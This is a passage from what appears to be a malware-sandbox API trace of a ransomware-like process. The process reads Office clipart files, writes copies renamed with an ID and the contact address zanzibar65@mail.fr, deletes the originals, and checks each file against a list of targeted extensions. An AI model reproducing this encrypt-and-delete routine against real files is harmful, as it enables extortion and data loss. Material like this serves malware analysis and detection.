[0271.437] WriteFile (in: hFile=0x384, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0x390, lpOverlapped=0x0) returned 1 [0271.438] ReadFile (in: hFile=0x37c, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0x0, lpOverlapped=0x0) returned 1 [0271.438] WriteFile (in: hFile=0x384, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0271.438] SetEndOfFile (hFile=0x384) returned 1 [0271.438] CloseHandle (hObject=0x384) returned 1 [0271.438] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.438] SetEndOfFile (hFile=0x37c) returned 1 [0271.441] CloseHandle (hObject=0x37c) returned 1 [0271.441] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0271.445] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf")) returned 1 [0271.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0271.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0271.445] lstrlenW (lpString=".doc") returned 4 [0271.445] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.445] lstrlenW (lpString=".docx") returned 5 [0271.445] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.445] lstrlenW (lpString=".pdf") returned 4 [0271.445] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.445] lstrlenW (lpString=".xls") returned 4 [0271.445] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.445] lstrlenW (lpString=".xlsx") returned 5 [0271.445] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.445] lstrlenW (lpString=".ppt") returned 4 [0271.445] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0271.445] lstrlenW (lpString=".zip") returned 4 [0271.445] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.445] lstrlenW (lpString=".rar") returned 4 [0271.445] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.445] lstrlenW (lpString=".bz2") returned 4 [0271.445] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.445] lstrlenW (lpString=".7z") returned 3 [0271.446] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0271.446] lstrlenW (lpString=".dbf") returned 4 [0271.446] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0271.446] lstrlenW (lpString=".1cd") returned 4 [0271.446] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0271.446] lstrlenW (lpString=".jpg") returned 4 [0271.446] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0271.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0271.446] lstrlenW (lpString=".doc") returned 4 [0271.446] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.446] lstrlenW (lpString=".docx") returned 5 [0271.446] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.446] lstrlenW (lpString=".pdf") returned 4 [0271.446] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.446] lstrlenW (lpString=".xls") returned 4 [0271.446] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.446] lstrlenW (lpString=".xlsx") returned 5 [0271.446] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.446] lstrlenW (lpString=".ppt") returned 4 [0271.446] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0271.446] lstrlenW (lpString=".zip") returned 4 [0271.446] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.446] lstrlenW (lpString=".rar") returned 4 [0271.446] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.446] lstrlenW (lpString=".bz2") returned 4 [0271.446] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.446] lstrlenW (lpString=".7z") returned 3 [0271.446] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0271.447] lstrlenW (lpString=".dbf") returned 4 [0271.447] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0271.447] lstrlenW (lpString=".1cd") returned 4 [0271.447] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0271.447] lstrlenW (lpString=".jpg") returned 4 [0271.447] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.449] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0271.449] lstrlenW (lpString="DD01628_.WMF") returned 12 [0271.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0271.449] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2d3ff1c | out: lpFileSize=0x2d3ff1c*=19068) returned 1 [0271.449] CloseHandle (hObject=0x37c) returned 1 [0271.449] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf")) returned 0x20 [0271.449] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0271.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0271.449] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.449] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0271.450] GetLastError () returned 0x0 [0271.450] ReadFile (in: hFile=0x37c, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0x4a7c, lpOverlapped=0x0) returned 1 [0271.452] WriteFile (in: hFile=0x384, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0x4a80, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0x4a80, lpOverlapped=0x0) returned 1 [0271.453] ReadFile (in: hFile=0x37c, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0x0, lpOverlapped=0x0) returned 1 [0271.453] WriteFile (in: hFile=0x384, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0271.453] SetEndOfFile (hFile=0x384) returned 1 [0271.453] CloseHandle (hObject=0x384) returned 1 [0271.453] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.453] SetEndOfFile (hFile=0x37c) returned 1 [0271.455] CloseHandle (hObject=0x37c) returned 1 [0271.455] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0271.456] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf")) returned 1 [0271.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0271.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0271.456] lstrlenW (lpString=".doc") returned 4 [0271.456] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.456] lstrlenW (lpString=".docx") returned 5 [0271.456] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.456] lstrlenW (lpString=".pdf") returned 4 [0271.456] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.456] lstrlenW (lpString=".xls") returned 4 [0271.456] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.456] lstrlenW (lpString=".xlsx") returned 5 [0271.456] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.456] lstrlenW (lpString=".ppt") returned 4 [0271.456] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0271.456] lstrlenW (lpString=".zip") returned 4 [0271.456] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.456] lstrlenW (lpString=".rar") returned 4 [0271.456] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.456] lstrlenW (lpString=".bz2") returned 4 [0271.456] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.456] lstrlenW (lpString=".7z") returned 3 [0271.457] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0271.457] lstrlenW (lpString=".dbf") returned 4 [0271.457] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0271.457] lstrlenW (lpString=".1cd") returned 4 [0271.457] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0271.457] lstrlenW (lpString=".jpg") returned 4 [0271.457] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0271.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0271.457] lstrlenW (lpString=".doc") returned 4 [0271.457] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.457] lstrlenW (lpString=".docx") returned 5 [0271.457] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.457] lstrlenW (lpString=".pdf") returned 4 [0271.457] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.457] lstrlenW (lpString=".xls") returned 4 [0271.457] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.457] lstrlenW (lpString=".xlsx") returned 5 [0271.457] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.457] lstrlenW (lpString=".ppt") returned 4 [0271.457] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0271.457] lstrlenW (lpString=".zip") returned 4 [0271.457] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.457] lstrlenW (lpString=".rar") returned 4 [0271.457] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.457] lstrlenW (lpString=".bz2") returned 4 [0271.457] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.457] lstrlenW (lpString=".7z") returned 3 [0271.458] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0271.458] lstrlenW (lpString=".dbf") returned 4 [0271.458] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0271.458] lstrlenW (lpString=".1cd") returned 4 [0271.458] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0271.458] lstrlenW (lpString=".jpg") returned 4 [0271.458] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.458] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0271.458] lstrlenW (lpString="DD01629_.WMF") returned 12 [0271.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0271.458] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2d3ff1c | out: lpFileSize=0x2d3ff1c*=580) returned 1 [0271.458] CloseHandle (hObject=0x37c) returned 1 [0271.458] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf")) returned 0x20 [0271.458] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0271.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0271.459] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.459] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0271.459] GetLastError () returned 0x0 [0271.459] ReadFile (in: hFile=0x37c, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0x244, lpOverlapped=0x0) returned 1 [0271.460] WriteFile (in: hFile=0x384, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0x250, lpOverlapped=0x0) returned 1 [0271.461] ReadFile (in: hFile=0x37c, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0x0, lpOverlapped=0x0) returned 1 [0271.461] WriteFile (in: hFile=0x384, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0271.461] SetEndOfFile (hFile=0x384) returned 1 [0271.461] CloseHandle (hObject=0x384) returned 1 [0271.461] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.461] SetEndOfFile (hFile=0x37c) returned 1 [0271.467] CloseHandle (hObject=0x37c) returned 1 [0271.467] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0271.467] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf")) returned 1 [0271.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0271.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0271.468] lstrlenW (lpString=".doc") returned 4 [0271.468] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.468] lstrlenW (lpString=".docx") returned 5 [0271.468] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.468] lstrlenW (lpString=".pdf") returned 4 [0271.468] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.468] lstrlenW (lpString=".xls") returned 4 [0271.468] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.468] lstrlenW (lpString=".xlsx") returned 5 [0271.468] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.468] lstrlenW (lpString=".ppt") returned 4 [0271.468] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0271.468] lstrlenW (lpString=".zip") returned 4 [0271.468] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.468] lstrlenW (lpString=".rar") returned 4 [0271.468] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.468] lstrlenW (lpString=".bz2") returned 4 [0271.468] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.468] lstrlenW (lpString=".7z") returned 3 [0271.468] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0271.468] lstrlenW (lpString=".dbf") returned 4 [0271.468] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0271.468] lstrlenW (lpString=".1cd") returned 4 [0271.468] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0271.468] lstrlenW (lpString=".jpg") returned 4 [0271.468] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0271.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0271.469] lstrlenW (lpString=".doc") returned 4 [0271.469] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.469] lstrlenW (lpString=".docx") returned 5 [0271.469] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.469] lstrlenW (lpString=".pdf") returned 4 [0271.469] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.469] lstrlenW (lpString=".xls") returned 4 [0271.469] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.469] lstrlenW (lpString=".xlsx") returned 5 [0271.469] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.469] lstrlenW (lpString=".ppt") returned 4 [0271.469] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0271.469] lstrlenW (lpString=".zip") returned 4 [0271.469] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.469] lstrlenW (lpString=".rar") returned 4 [0271.469] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.469] lstrlenW (lpString=".bz2") returned 4 [0271.469] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.469] lstrlenW (lpString=".7z") returned 3 [0271.469] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0271.469] lstrlenW (lpString=".dbf") returned 4 [0271.469] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0271.469] lstrlenW (lpString=".1cd") returned 4 [0271.469] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0271.469] lstrlenW (lpString=".jpg") returned 4 [0271.469] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.470] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0271.470] lstrlenW (lpString="DD01630_.WMF") returned 12 [0271.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0271.470] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2d3ff1c | out: lpFileSize=0x2d3ff1c*=296) returned 1 [0271.470] CloseHandle (hObject=0x37c) returned 1 [0271.470] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf")) returned 0x20 [0271.471] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0271.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0271.471] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.471] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0271.471] GetLastError () returned 0x0 [0271.471] ReadFile (in: hFile=0x37c, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0x128, lpOverlapped=0x0) returned 1 [0271.472] WriteFile (in: hFile=0x384, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0x130, lpOverlapped=0x0) returned 1 [0271.473] ReadFile (in: hFile=0x37c, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0x0, lpOverlapped=0x0) returned 1 [0271.473] WriteFile (in: hFile=0x384, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, 